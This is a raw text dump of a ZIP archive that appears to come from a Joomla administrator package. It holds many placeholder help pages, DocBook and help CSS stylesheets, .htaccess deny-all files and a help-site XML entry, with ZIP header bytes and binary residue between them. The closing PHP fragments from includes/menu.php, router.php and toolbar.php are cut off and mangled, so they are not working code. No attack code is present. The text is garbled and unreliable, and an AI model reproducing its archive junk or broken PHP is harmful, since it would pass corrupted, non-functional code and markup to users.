AAAAPK@y>\n6!!5help/en-GB/Extensions_Template_Manager_Templates.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES

Template Manager: Templates

This page is not available offline. Please use the online version.

PK@y>\v!help/en-GB/Users_Groups_Edit.htmlnuW+A COM_ADMIN_HELP_USERS_GROUPS_EDIT

User Manager: Groups - New/Edit

This page is not available offline. Please use the online version.

PK@y>\W Y"help/en-GB/Users_User_Manager.htmlnuW+A COM_ADMIN_HELP_USERS_USER_MANAGER

User Manager: Users

This page is not available offline. Please use the online version.

PK@y>\B*-help/en-GB/Components_Contact_Categories.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES

Contact Manager: Categories

This page is not available offline. Please use the online version.

PK@y>\N.F'help/en-GB/Content_Article_Manager.htmlnuW+A COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER

Article Manager: Articles

This page is not available offline. Please use the online version.

PK@y>\:  *help/en-GB/Components_Newsfeeds_Feeds.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS

News Feeds Manager: Feeds

This page is not available offline. Please use the online version.

PK@y>\1&&4help/en-GB/Site_Maintenance_Purge_Expired_Cache.htmlnuW+A COM_ADMIN_HELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE

Cache Manager: Purge Expired Cache

This page is not available offline. Please use the online version.

PK@y>\)help/en-GB/.htaccessnuW+A Order allow,deny Deny from all PK@y>\@f))7help/en-GB/Extensions_Template_Manager_Styles_Edit.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT

Template Manager: Styles - Edit

This page is not available offline. Please use the online version.

PK@y>\!help/en-GB/Components_Search.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_SEARCH

Search Manager

This page is not available offline. Please use the online version.

PK@y>\60help/en-GB/Extensions_Language_Manager_Edit.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT

Language Manager - New/Edit

This page is not available offline. Please use the online version.

PK@y>\ ס--2help/en-GB/Components_Newsfeeds_Category_Edit.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES_EDIT

News Feeds Manager: Categories - New/Edit

This page is not available offline. Please use the online version.

PK@y>\ ?3help/en-GB/Extensions_Extension_Manager_Update.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE

Extension Manager: Update

This page is not available offline. Please use the online version.

PK@y>\k*help/en-GB/Components_Banners_Clients.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS

Banner Manager: Clients

This page is not available offline. Please use the online version.

PK@y>\ 7help/en-GB/Users_Groups.htmlnuW+A COM_ADMIN_HELP_USERS_GROUPS

User Manager: Groups

This page is not available offline. Please use the online version.

PK@y>\T%%0help/en-GB/Components_Banners_Category_Edit.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES_EDIT

Banner Manager: Categories - New/Edit

This page is not available offline. Please use the online version.

PK@y>\9I=!!5help/en-GB/Extensions_Extension_Manager_Discover.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER

Extension Manager: Discover

This page is not available offline. Please use the online version.

PK@y>\help/en-GB/Glossary.htmlnuW+A COM_ADMIN_HELP_GLOSSARY

Glossary

This page is not available offline. Please use the online version.

PK@y>\q"help/en-GB/Menus_Menu_Manager.htmlnuW+A COM_ADMIN_HELP_MENUS_MENU_MANAGER

Menu Manager

This page is not available offline. Please use the online version.

PK@y>\*help/en-GB/Components_Messaging_Write.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_MESSAGING_WRITE

Private Messages: Write

This page is not available offline. Please use the online version.

PK@y>\'help/en-GB/Menus_Menu_Manager_Edit.htmlnuW+A COM_ADMIN_HELP_MENUS_MENU_MANAGER_EDIT

Menu Manager - New/Edit

This page is not available offline. Please use the online version.

PK@y>\8-help/en-GB/Components_Content_Categories.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES

Article Manager: Categories

This page is not available offline. Please use the online version.

PK@y>\[,help/en-GB/Site_Maintenance_Clear_Cache.htmlnuW+A COM_ADMIN_HELP_SITE_MAINTENANCE_CLEAR_CACHE

Cache Manager: Clear Cache

This page is not available offline. Please use the online version.

PK@y>\_T%%3help/en-GB/Extensions_Language_Manager_Content.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT

Language Manager: Content Languages

This page is not available offline. Please use the online version.

PK@y>\ighelp/en-GB/Start_Here.htmlnuW+A COM_ADMIN_HELP_START_HERE

Start Here

This page is not available offline. Please use the online version.

PK@y>\/help/en-GB/Components_Banners_Banners_Edit.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS_EDIT

Banner Manager - New/Edit

This page is not available offline. Please use the online version.

PK@y>\e/help/en-GB/Components_Newsfeeds_Feeds_Edit.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT

News Feeds Manager: Feeds - New/Edit

This page is not available offline. Please use the online version.

PK@y>\F*help/en-GB/Components_Messaging_Inbox.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_MESSAGING_INBOX

Private Messages: Inbox

This page is not available offline. Please use the online version.

PK@y>\ 9/.help/en-GB/Components_Weblinks_Categories.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES

Web Links Manager: Categories

This page is not available offline. Please use the online version.

PK@y>\G0)help/en-GB/Components_Messaging_Read.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_MESSAGING_READ

Private Messages: Read

This page is not available offline. Please use the online version.

PK@y>\K$4help/en-GB/Extensions_Extension_Manager_Install.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL

Extension Manager: Install

This page is not available offline. Please use the online version.

PK@y>\b  .help/en-GB/Extensions_Module_Manager_Edit.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER_EDIT

Module Manager - Edit

This page is not available offline. Please use the online version.

PK@y>\}z-help/en-GB/Components_Banners_Categories.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES

Banner Manager: Categories

This page is not available offline. Please use the online version.

PK@y>\;&&0help/en-GB/Components_Content_Category_Edit.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES_EDIT

Article Manager: Categories - New/Edit

This page is not available offline. Please use the online version.

PK@y>\^+1!help/en-GB/Users_Debug_Users.htmlnuW+A COM_ADMIN_HELP_USERS_DEBUG_USER

User Manager: Debug Users Permissions

This page is not available offline. Please use the online version.

PK@y>\k9/help/en-GB/Components_Banners_Clients_Edit.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS_EDIT

Banner Manager: Clients - New/Edit

This page is not available offline. Please use the online version.

PK@y>\.help/en-GB/Components_Weblinks_Links_Edit.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS_EDIT

Web Links Manager: Web Links - New/Edit

This page is not available offline. Please use the online version.

PK@y>\5Ԇ  +help/en-GB/Components_Redirect_Manager.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER

Redirect Manager: Links

This page is not available offline. Please use the online version.

PK@y>\22:help/en-GB/Extensions_Template_Manager_Templates_Edit.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT

Template Manager: Templates - Edit

This page is not available offline. Please use the online version.

PK@y>\x,help/en-GB/Menus_Menu_Item_Manager_Edit.htmlnuW+A COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER_EDIT

Menu Item Manager - New/Edit

This page is not available offline. Please use the online version.

PK@y>\sS==Ahelp/en-GB/Extensions_Template_Manager_Templates_Edit_Source.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE

Template Manager: Source - Edit

This page is not available offline. Please use the online version.

PK@y>\P])help/en-GB/Components_Weblinks_Links.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS

Web Links Manager: Web Links

This page is not available offline. Please use the online version.

PK@y>\^''0help/en-GB/Components_Contact_Category_Edit.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES_EDIT

Contact Manager: Categories - New/Edit

This page is not available offline. Please use the online version.

PK@y>\W*help/en-GB/Components_Banners_Banners.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS

Banner Manager

This page is not available offline. Please use the online version.

PK@y>\zV.help/en-GB/Extensions_Plugin_Manager_Edit.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER_EDIT

Plug-in Manager: Plug-ins - New/Edit

This page is not available offline. Please use the online version.

PK@y>\Vhelp/en-GB/index.htmlnuW+A PK@y>\4  ,help/en-GB/Components_Contacts_Contacts.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS

Contact Manager: Contacts

This page is not available offline. Please use the online version.

PK@y>\U|!!5help/en-GB/Extensions_Extension_Manager_Warnings.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS

Extension Manager: Warnings

This page is not available offline. Please use the online version.

PK@y>\[)help/en-GB/Content_Featured_Articles.htmlnuW+A COM_ADMIN_HELP_CONTENT_FEATURED_ARTICLES

Article Manager: Featured Articles

This page is not available offline. Please use the online version.

PK@y>\P%help/en-GB/Content_Media_Manager.htmlnuW+A COM_ADMIN_HELP_CONTENT_MEDIA_MANAGER

Media Manager

This page is not available offline. Please use the online version.

PK@y>\8)help/en-GB/Extensions_Module_Manager.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER

Module Manager

This page is not available offline. Please use the online version.

PK@y>\Po'help/en-GB/Menus_Menu_Item_Manager.htmlnuW+A COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER

Menu Item Manager

This page is not available offline. Please use the online version.

PK@y>\x_iihelp/en-GB/css/help.cssnuW+Abody { font-family: verdana, arial, sans-serif; font-size: 9pt; } h1 { color: #6D9D2E; font-size: 1.5em; border-left: 25px solid #6D9D2E; border-bottom: 1px solid #6D9D2E; padding: 0 0 2px 5px; } h2 { color: #6D9D2E; font-size: 1.3em; margin: 1ex 0; } pre { text-align: left; background-color: #fff; border-left: 1px solid #aaa; padding: 5px; }PK@y>\)help/en-GB/css/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vhelp/en-GB/css/index.htmlnuW+A PK@y>\dMMhelp/en-GB/css/docbook.cssnuW+Aa:hover { text-decoration: none; } /* ===================================== Article structure ===================================== */ article { display: block; } article > title { font-size: 2em; margin: 0.5ex 0; border-width: 1px; border-style: solid; border-color: transparent transparent #fea540 transparent; } title, subtitle, titleabbrev { display: block; color: #fea540; margin: 1.33ex 0; } title, subtitle { font-family: tahoma, arial, sans-serif; font-weight: bold; } /* ------------------------------------- Sections ------------------------------------- */ appendix, section { font-family: verdana, arial, sans-serif; font-size: 10pt; } section, sect1, sect2, sect3, sect4, sect5, simplesect { display: block; margin: 5px; } section > title, sect1 > title { font-size: 1.5em; margin: .83ex 0; } section > title:before, sect1 > title:before { content: counter(n-) " "; } section section > title, sect2 > title { font-size: 1.3em; margin: 1ex 0; } section * section > title { font-size: 1em; margin: 1.33ex 0; } section section > title:before, sect2 > title:before { content: counter(nn-) " "; } section section section > title:before, sect3 > title:before { content: counter(nnn-) " "; } section section section section > title:before, sect4 > title:before { content: counter(nnnn-) " "; } section section section * section > title:before { content: ""; } /* ------------------------------------- Appendix ------------------------------------- */ appendix { display: block; } appendix > title { /* in a book or in a part */ font-size: 2em; margin: 0.5ex 0; border-width: 1px; border-style: solid; border-color: transparent transparent #fea540 transparent; } article > appendix > title { font-size: 1.5em; margin: 0.83ex 0; border-width: 0; border-style: none; } appendix > title:before { content: "Appendix " counter(n-, upper-alpha) ": "; } /* ===================================== Paragraphs ===================================== */ para, simpara { display: block; margin: 1.33ex 0; font-size: 0.8em; } /* ===================================== Lists ===================================== */ /* ------------------------------------- itemizedlist ------------------------------------- */ itemizedlist { display: block; margin-left: 2ex; /* all lists are slightly indented */ margin-top: 1.33ex; margin-bottom: 1.33ex; } listitem { margin-bottom: 1.33ex; display: list-item; list-style-type: disc; } listitem > *:first-child { margin-top: 0; margin-bottom: 0; } itemizedlist > listitem { margin-left: 2.5ex; } itemizedlist > listitem:before { display: marker; content: disc; color: #fea540; padding-top: .6ex; } itemizedlist > listitem itemizedlist > listitem:before { content: square; } itemizedlist > listitem itemizedlist > listitem itemizedlist > listitem:before { content: icon(diamond); } itemizedlist > listitem itemizedlist > listitem itemizedlist > listitem itemizedlist > listitem:before { content: circle; } /* ------------------------------------- orderedlist ------------------------------------- */ orderedlist { display: block; margin-left: 2ex; margin-top: 1.33ex; margin-bottom: 1.33ex; } orderedlist > listitem { margin-left: 6ex; } orderedlist > listitem:before { display: marker; content: counter(n, decimal) "."; font-weight: bold; color: #fea540; } orderedlist[numeration=loweralpha] > listitem:before { content: counter(n, lower-alpha) "."; } orderedlist[numeration=upperalpha] > listitem:before { content: counter(n, upper-alpha) "."; } orderedlist[numeration=lowerroman] > listitem:before { content: counter(n, lower-roman) "."; } orderedlist[numeration=upperroman] > listitem:before { content: counter(n, upper-roman) "."; } /* ------------------------------------- variablelist ------------------------------------- */ variablelist { display: block; margin-left: 2ex; margin-top: 1.33ex; margin-bottom: 1.33ex; } varlistentry { display: block; } term { display: block; font-weight: bold; } varlistentry > listitem { margin-left: 4ex; } /* ===================================== Figures ===================================== */ programlisting, screen, literallayout, synopsis { display: block; white-space: pre; font-family: monospace; font-size: 1.5em; margin: 1.33ex 0; } programlisting { background-color: rgb(255,255,221); border: thin solid gray; padding: 2px; color: #00f; } screen { background-color: #EEEEFF; border: thin solid #8888FF; padding: 2px; } figure, informalfigure, example, informalexample { display: block; margin: 1.33ex auto; } figure > title, example > title { font-style: italic; font-weight: normal; text-align: center; margin: 0; /* content of figure generally already has a margin */ } mediaobject { display: table; border-spacing: 2px; margin: 1.33ex auto; } inlinemediaobject { display: inline-table; border-spacing: 2px; } caption { display: table-caption; color: #fea540; font-style: italic; font-weight: normal; text-align: center; /* content of caption already has a margin */ } audioobject, videoobject, imageobject, textobject { display: table-cell; /* this will create one row per cell */ text-align: center; } objectinfo { text-align: left; } mediaobject > objectinfo { display: table-cell; } audiodata { display: inline; content: url(icons/audio.gif); } videodata { display: inline; content: url(icons/video.gif); } imagedata { display: inline; content: image(attr(fileref), -400, -200); } textdata { display: inline; content: url(icons/text.gif); } /* ===================================== Tables ===================================== */ /* * "black" is the color used to draw a border around the table and its cells * based on values of attributes such as frame, rowsep and colsep. * * "rgb(238,238,224)" (a very light gray) is the color used to draw * a border around each cell whether the cell actually has borders or not. * Remove this parameter if this ``cell footprint'' disturbs you. * * For more information about table support for DocBook, see * Power User's Guide. */ @extension "com.xmlmind.xmleditapp.docbook.TableSupport black rgb(238,238,224)"; table, informaltable { display: block; margin: 1.33ex 0; } table > title { display: block; font-style: italic; font-weight: normal; text-align: center; /* keep margin because tgroup has no margin */ } colspec, spanspec { display: table-column; collapsed: yes; } tgroup { display: table; border-style: solid; border-width: 1; } thead, tfoot { display: table-row-group; font-weight: bold; } tbody { display: table-row-group; } row { display: table-row; } entry { display: table-cell; border-style: solid; border-width: 1; padding: 2; } entry > *:first-child { margin-top: 0; margin-bottom: 0; } entrytbl { display: subtable; border-style: solid; border-width: 1; } /* ===================================== Divisions ===================================== */ abstract { display: block; margin-left: 18ex; margin-top: 1.33ex; margin-bottom: 1.33ex; } abstract > *:first-child { margin-top: 0; margin-bottom: 0; } abstract:before { display: marker; content: element-label(); font-weight: bold; color: #fea540; } blockquote, epigraph { display: block; margin: 1.33ex 10ex; } blockquote > title { font-style: italic; font-weight: normal; text-align: center; margin: 0; /* content of blockquote already has a margin */ } attribution { display: block; text-align: right; } attribution:before { content: " -- "; } footnote { display: block; margin-left: 18ex; margin-top: 1.33ex; margin-bottom: 1.33ex; margin-right: 10ex; font-size: small; padding: 2px; background-color: #F0F0FF; } footnote > *:first-child { margin-top: 0; margin-bottom: 0; } footnote:before { display: marker; content: element-label(); color: #fea540; } footnote[label]:before { content: "[" attr(label) "]"; } note, caution, important, tip, warning { display: block; margin-left: 18ex; margin-top: 1.33ex; margin-bottom: 1.33ex; } note > *:first-child, caution > *:first-child, important > *:first-child, tip > *:first-child, warning > *:first-child { margin-top: 0; margin-bottom: 0; } note:before, caution:before, important:before, tip:before, warning:before { display: marker; content: element-label(); font-weight: bold; color: #fea540; } sidebar { display: block; margin: 1.33ex 0; border: thin solid #00FF00; background-color: #CCFFCC; padding: 2px; } sidebar > title { margin: 0; /* content of sidebar already has a margin */ } /* ===================================== Special sections ===================================== */ /* ------------------------------------- Question-and-answer set ------------------------------------- */ qandaset, qandadiv { display: block; /* content of qandaset has a margin */ } qandaentry { display: block; margin: 1.33ex 0; } question { font-weight: bold; display: block; margin-left: 2ex; margin-bottom: 1.33ex; } answer { font-weight: normal; display: block; margin-left: 4ex; margin-bottom: 1.33ex; } question > *:first-child, answer > *:first-child { margin-top: 0; margin-bottom: 0; } question:before, answer:before { display: marker; color: #004080; font-weight: bold; } question > para:before { color: #004080; content: "Q: "; font-weight: bold; } answer > para:before { color: #004080; content: "A: "; font-weight: bold; } label { display: block; margin: 1.33ex 0; color: #004080; font-weight: bold; } /* ------------------------------------- Meta-information ------------------------------------- */ appendixinfo, articleinfo, bibliographyinfo, blockinfo, bookinfo, chapterinfo, glossaryinfo, indexinfo, objectinfo, partinfo, prefaceinfo, refentryinfo, refmeta, referenceinfo, refsect1info, refsect2info, refsect3info, refsectioninfo, refsynopsisdivinfo, sect1info, sect2info, sect3info, sect4info, sect5info, sectioninfo, setindexinfo, setinfo, sidebarinfo { display: block; margin: 0; border: 0px; padding: 0px; } authorgroup { display: block; /* content of authorgroup has a margin */ } author, editor, othercredit { display: block; /* can contain authorblurb, address */ margin: 1.33ex 0; } personname { display: inline; } honorific, firstname, surname, lineage, othername { display: inline; } honorific:after, firstname:after, surname:after, lineage:after, othername:after { content: " "; } contrib { display: inline; } authorblurb, personblurb { display: block; /* content of authorblurb has a margin */ } corpauthor, corpname { /* Could be block but inline is safer when used in strange places and when used in meta-info, display is forced to be block. */ display: inline; } affiliation { display: block; /* can contain address */ margin: 1.33ex 0; } shortaffil, jobtitle, orgname, orgdiv { display: inline; } shortaffil:after, jobtitle:after, orgname:after, orgdiv:after { content: " "; } copyright { display: inline; } year, holder { display: inline; } year:after, holder:after { content: " "; } date, pubdate { display: inline; } edition { display: inline; } issuenum { display: inline; } keywordset, subjectset { display: inline; } keyword, subject, subjectterm { display: inline; } keyword:after, subjectterm:after { content: " "; } legalnotice { display: block; /* content of legalnotice has a margin */ } publishername { display: inline; } releaseinfo { display: inline; } revhistory { display: block; margin: 1.33ex 0; } revision { display: block; margin-left: 2.5ex; } revision:before { display: marker; content: icon(right); color: #fea540; padding-top: .6ex; } authorinitials { display: inline; font-weight: bold; } revnumber, revremark { display: inline; } revnumber:after, revision > date:after, revision > authorinitials:after { content: " "; } revdescription { display: block; /* content of revdescription has a margin */ } volumenum { display: inline; } /* --------------------------------------------------------------------------- Inlined elements other than those belonging to modules Note that default display is inline, so there is no need to specify it. --------------------------------------------------------------------------- */ emphasis { font-style: italic; } emphasis[role=bold] { font-style: normal; font-weight: bold; } emphasis[role=underline] { font-style: normal; text-decoration: underline; } emphasis[role=strikethrough] { font-style: normal; text-decoration: line-through; } emphasis > emphasis { font-style: normal; font-weight: normal; text-decoration: none; } literal { font-family: monospace; } link, ulink, email { color: navy; text-decoration: underline; } /* ------------------------------------- Technical ------------------------------------- */ command, computeroutput, filename, option, systemitem, userinput { font-family: monospace; } computeroutput, userinput { background-color: #EEEEEE; } command, option { font-weight: bold; } lineannotation { font-style: italic; font-size: medium; /* occurs in verbatim, fixed font, blocks */ } replaceable { font-style: italic; } /* ------------------------------------- General ------------------------------------- */ abbrev, acronym { font-weight: bold; } citetitle { font-style: italic; } footnoteref { content: "[" attr(linkend) "]"; font-size: small; vertical-align: super; color: navy; } footnoteref[label] { content: "[" attr(label) "]"; } phrase[revisionflag=deleted] { text-decoration: line-through; } phrase[revisionflag=added] { text-decoration: underline; } quote:before { content: open-quote; color: gray; } quote:after { content: close-quote; color: gray; } trademark:after, productname:after { font-size: small; color: gray; } trademark:after, /* also works for class=trade */ productname[class=trade]:after { content: "[tm]"; } trademark[class=copyright]:after, productname[class=copyright]:after { content: "\A9"; font-size: medium; } trademark[class=registered]:after, productname[class=registered]:after { content: "\AE"; font-size: medium; } trademark[class=service]:after, productname[class=service]:after { content: "[sm]"; } xref { content: icon(left-link) attr(linkend); vertical-align: text-top; /* for the icon */ color: navy; } xref[endterm] { content: icon(left-link) attr(endterm); } /* --------------------------------------------------------------------------- Comments and processing instructions --------------------------------------------------------------------------- */ *::comment, *::processing-instruction { display: block; margin: 2px; white-space: pre; text-align: left; font-family: monospace; font-size: small; font-style: normal; font-weight: normal; } *::comment { background-color: #FFFFCC; color: #808000; } *::processing-instruction { background-color: #CCFFCC; color: #008000; } /* --------------------------------------------------------------------------- Other --------------------------------------------------------------------------- */ xi\:include { display: tree; } *:read-only { background-color: #F0F0F0; } /* ------------------------------------- Meta-information ------------------------------------- */ appendixinfo > *, articleinfo > *, bibliographyinfo > *, blockinfo > *, bookinfo > *, chapterinfo > *, glossaryinfo > *, indexinfo > *, objectinfo > *, partinfo > *, prefaceinfo > *, refentryinfo > *, refmeta > *, referenceinfo > *, refsect1info > *, refsect2info > *, refsect3info > *, refsectioninfo > *, refsynopsisdivinfo > *, sect1info > *, sect2info > *, sect3info > *, sect4info > *, sect5info > *, sectioninfo > *, setindexinfo > *, setinfo > *, sidebarinfo > * { display: block; text-align: right; /* Reset paragraph styles */ font: normal normal 1em sans-serif; color: #777; font-size: 0.8em; } appendixinfo > *:first-child, articleinfo > *:first-child, bibliographyinfo > *:first-child, blockinfo > *:first-child, bookinfo > *:first-child, chapterinfo > *:first-child, glossaryinfo > *:first-child, indexinfo > *:first-child, objectinfo > *:first-child, partinfo > *:first-child, prefaceinfo > *:first-child, refentryinfo > *:first-child, refmeta > *:first-child, referenceinfo > *:first-child, refsect1info > *:first-child, refsect2info > *:first-child, refsect3info > *:first-child, refsectioninfo > *:first-child, refsynopsisdivinfo > *:first-child, sect1info > *:first-child, sect2info > *:first-child, sect3info > *:first-child, sect4info > *:first-child, sect5info > *:first-child, sectioninfo > *:first-child, setindexinfo > *:first-child, setinfo > *:first-child, sidebarinfo > *:first-child { /* nicer */ margin-top: 0; margin-bottom: 0; } appendixinfo > *:before, articleinfo > *:before, bibliographyinfo > *:before, blockinfo > *:before, bookinfo > *:before, chapterinfo > *:before, glossaryinfo > *:before, indexinfo > *:before, objectinfo > *:before, partinfo > *:before, prefaceinfo > *:before, refentryinfo > *:before, refmeta > *:before, referenceinfo > *:before, refsect1info > *:before, refsect2info > *:before, refsect3info > *:before, refsectioninfo > *:before, refsynopsisdivinfo > *:before, sect1info > *:before, sect2info > *:before, sect3info > *:before, sect4info > *:before, sect5info > *:before, sectioninfo > *:before, setindexinfo > *:before, setinfo > *:before, sidebarinfo > *:before { display: marker; content: element-label(); font: normal normal small sans-serif; color: #fea540; } appendixinfo > *:after, articleinfo > *:after, bibliographyinfo > *:after, blockinfo > *:after, bookinfo > *:after, chapterinfo > *:after, glossaryinfo > *:after, indexinfo > *:after, objectinfo > *:after, partinfo > *:after, prefaceinfo > *:after, refentryinfo > *:after, refmeta > *:after, referenceinfo > *:after, refsect1info > *:after, refsect2info > *:after, refsect3info > *:after, refsectioninfo > *:after, refsynopsisdivinfo > *:after, sect1info > *:after, sect2info > *:after, sect3info > *:after, sect4info > *:after, sect5info > *:after, sectioninfo > *:after, setindexinfo > *:after, setinfo > *:after, sidebarinfo > *:after { content: ""; } appendixinfo > title, articleinfo > title, bibliographyinfo > title, blockinfo > title, bookinfo > title, chapterinfo > title, glossaryinfo > title, indexinfo > title, objectinfo > title, partinfo > title, prefaceinfo > title, refentryinfo > title, /* refmeta has no title */ referenceinfo > title, refsect1info > title, refsect2info > title, refsect3info > title, refsectioninfo > title, refsynopsisdivinfo > title, sect1info > title, sect2info > title, sect3info > title, sect4info > title, sect5info > title, sectioninfo > title, setindexinfo > title, setinfo > title, sidebarinfo > title { font-size: 1.3em; font-weight: bold; color: #fea540; margin-left: 0; margin-right: 0; margin-top: 0; margin-bottom: 1ex; } appendixinfo > title:before, articleinfo > title:before, bibliographyinfo > title:before, blockinfo > title:before, bookinfo > title:before, chapterinfo > title:before, glossaryinfo > title:before, indexinfo > title:before, objectinfo > title:before, partinfo > title:before, prefaceinfo > title:before, refentryinfo > title:before, referenceinfo > title:before, refsect1info > title:before, refsect2info > title:before, refsect3info > title:before, refsectioninfo > title:before, refsynopsisdivinfo > title:before, sect1info > title:before, sect2info > title:before, sect3info > title:before, sect4info > title:before, sect5info > title:before, sectioninfo > title:before, setindexinfo > title:before, setinfo > title:before, sidebarinfo > title:before { content: ""; } graphic, inlinegraphic { content: image(attr(fileref)); } graphic { display: block; margin: 1.33ex auto; }PK@y>\A)help/en-GB/Extensions_Plugin_Manager.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER

Plug-in Manager: Plug-ins

This page is not available offline. Please use the online version.

PK@y>\IU)help/en-GB/Components_Banners_Tracks.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_BANNERS_TRACKS

Banner Manager: Tracks

This page is not available offline. Please use the online version.

PK@y>\k-3help/en-GB/Extensions_Extension_Manager_Manage.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE

Extension Manager: Manage

This page is not available offline. Please use the online version.

PK@y>\  0help/en-GB/Site_Maintenance_Global_Check-in.htmlnuW+A COM_ADMIN_HELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN

Global Check-in

This page is not available offline. Please use the online version.

PK@y>\r#/)help/en-GB/Site_Global_Configuration.htmlnuW+A COM_ADMIN_HELP_SITE_GLOBAL_CONFIGURATION

Global Configuration

This page is not available offline. Please use the online version.

PK@y>\ېH/help/en-GB/Components_Newsfeeds_Categories.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES

News Feeds Manager: Categories

This page is not available offline. Please use the online version.

PK@y>\QX'help/en-GB/Users_User_Manager_Edit.htmlnuW+A COM_ADMIN_HELP_USERS_USER_MANAGER_EDIT

User Manager: Users - New/Edit

This page is not available offline. Please use the online version.

PK@y>\$g(help/en-GB/Users_Access_Levels_Edit.htmlnuW+A COM_ADMIN_HELP_USERS_ACCESS_LEVELS_EDIT

User Manager: Access Levels - New/Edit

This page is not available offline. Please use the online version.

PK@y>\;'help/en-GB/Site_System_Information.htmlnuW+A COM_ADMIN_HELP_SITE_SYSTEM_INFORMATION

System Information

This page is not available offline. Please use the online version.

PK@y>\tXK#help/en-GB/Users_Access_Levels.htmlnuW+A COM_ADMIN_HELP_USERS_ACCESS_LEVELS

User Manager: Access Levels

This page is not available offline. Please use the online version.

PK@y>\(1++5help/en-GB/Extensions_Language_Manager_Installed.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED

Language Manager: Installed Languages

This page is not available offline. Please use the online version.

PK@y>\^ **1help/en-GB/Components_Weblinks_Category_Edit.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES_EDIT

Web Links Manager: Categories - New/Edit

This page is not available offline. Please use the online version.

PK@y>\0/\%help/en-GB/Users_Mass_Mail_Users.htmlnuW+A COM_ADMIN_HELP_USERS_MASS_MAIL_USERS

Mass Mail Users

This page is not available offline. Please use the online version.

PK@y>\Ⲱv""1help/en-GB/Components_Contacts_Contacts_Edit.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS_EDIT

Contact Manager: Contacts - New/Edit

This page is not available offline. Please use the online version.

PK@y>\q5k+2help/en-GB/Extensions_Template_Manager_Styles.htmlnuW+A COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES

Template Manager: Styles

This page is not available offline. Please use the online version.

PK@y>\I,help/en-GB/Content_Article_Manager_Edit.htmlnuW+A COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER_EDIT

Article Manager: Articles - New/Edit

This page is not available offline. Please use the online version.

PK@y>\s%%0help/en-GB/Components_Redirect_Manager_Edit.htmlnuW+A COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER_EDIT

Redirect Manager: Links - New/Edit

This page is not available offline. Please use the online version.

PK@y>\)help/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vhelp/index.htmlnuW+A PK@y>\,Ahelp/helpsites.xmlnuW+A English (GB) - Joomla help wiki PK@y>\uuincludes/menu.phpnuW+A\includes/router.phpnuW+AgetPath(); //Add basepath to the uri $uri->setPath(JURI::base(true).'/'.$route); return $uri; } } PK@y>\$AJEJEincludes/toolbar.phpnuW+A

'.$title.'

